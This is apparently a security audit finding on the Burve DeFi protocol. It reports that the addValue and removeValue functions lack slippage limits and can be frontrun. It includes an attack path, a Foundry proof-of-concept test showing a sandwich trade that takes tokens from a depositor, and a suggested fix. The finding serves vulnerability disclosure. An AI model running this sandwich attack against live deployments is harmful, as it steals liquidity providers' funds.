Skinny Mocha Boa

High

# Attackers can frontrun `addValue` and `removeValue` to steal tokens.

### Summary

In multi-token closures, when LP providers add value to a closure, they deposit portions of each token in the pool.
However, the `addValue` and `removeValue` functions do not check slippage, so LP providers have no idea how much of each tokens get deposited to the closure, and for this reason, these transactions are prone to frontrunning.

### Root Cause

The [`addValue`](https://github.com/sherlock-audit/2025-04-burve/blob/44cba36e2a0c3cd7b6999459bf7746db92f8cc0a/Burve/src/multi/facets/ValueFacet.sol#L58) and [`removeValue`](https://github.com/sherlock-audit/2025-04-burve/blob/44cba36e2a0c3cd7b6999459bf7746db92f8cc0a/Burve/src/multi/facets/ValueFacet.sol#L176) functions do not take maximum amounts of tokens from users.

### Internal Pre-conditions

None

### External Pre-conditions

None

### Attack Path

- Bob is going to add 1e6 value worth of tokens to the closure through `addValue`.
- Alice front-runs Bob's transaction and swaps other tokens for one specific token to minimize a value of one token.
- As Bob deposits tokens, he deposits pretty huge amount of the degraded token.
- Alice swaps the degraded token for other tokens, earning a profit.

### Impact

- LP providers do not control the amount of tokens they deposit to the closure.
- LP providers can lose a part of their assets.

### PoC

Put the PoC in the `test/facets/Audit.t.sol` file.

```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;

import {MultiSetupTest} from "./MultiSetup.u.sol";
import {console2 as console} from "forge-std/console2.sol";
import {ValueFacet} from "../../src/multi/facets/ValueFacet.sol";
import {ValueLib} from "../../src/multi/Value.sol";
import {AssetBookImpl} from "../../src/multi/Asset.sol";
import {MAX_TOKENS} from "../../src/multi/Token.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";

contract MultiTokenAuditTest is MultiSetupTest {

    function setUp() public {
        vm.startPrank(owner);

        _newDiamond();
        _newTokens(3);
        _fundAccount(alice);
        _fundAccount(bob);

        vm.startPrank(owner);
        _initializeClosure(0x07, 1e3 * 1e18); // 0, 1, 2
        simplexFacet.setClosureFees(0x07, 1 << 124, 0); // 0.01% fee

        vm.stopPrank();
    }

    function getBalances(
        address who
    ) public view returns (uint256[3] memory balances) {
        for (uint8 i = 0; i < 3; ++i) {
            balances[i] = ERC20(tokens[i]).balanceOf(who);
        }
    }

    function testAuditAddValueFrontRun() public {
        uint256[3] memory initBalances = getBalances(alice);

        // Alice swaps token1 and token2 for token0
        vm.startPrank(alice);
        swapFacet.swap(alice, tokens[1], tokens[0], 5e2 * 1e18, 0, 0x07);
        swapFacet.swap(alice, tokens[2], tokens[0], 6e2 * 1e18, 0, 0x07);
        vm.stopPrank();

        // Bob deposits liquidity
        vm.prank(bob);
        valueFacet.addValue(bob, 0x07, 1e7 * 1e18, 0);

        uint256[3] memory currentBalances = getBalances(alice);

        // Alice swaps back
        vm.startPrank(alice);
        (uint256 inAmt, uint256 outAmt) = swapFacet.swap(alice, tokens[0], tokens[1], -5e2 * 1e18, 0, 0x07);
        swapFacet.swap(alice, tokens[0], tokens[2], int256(currentBalances[0] - initBalances[0] - inAmt), 0, 0x07);
        vm.stopPrank();

        currentBalances = getBalances(alice);

        console.log("T0 Diff", int256(currentBalances[0]) - int256(initBalances[0]));
        console.log("T1 Diff", int256(currentBalances[1]) - int256(initBalances[1]));
        console.log("T2 Diff", int256(currentBalances[2]) - int256(initBalances[2]));

        // Alice gets 3 token2 as profit
        assertGt(currentBalances[2] - initBalances[2], 3 * 1e18);
    }
}

```

### Mitigation

`addValue` and `removeValue` functions should take maximum amounts of tokens allowed from users.
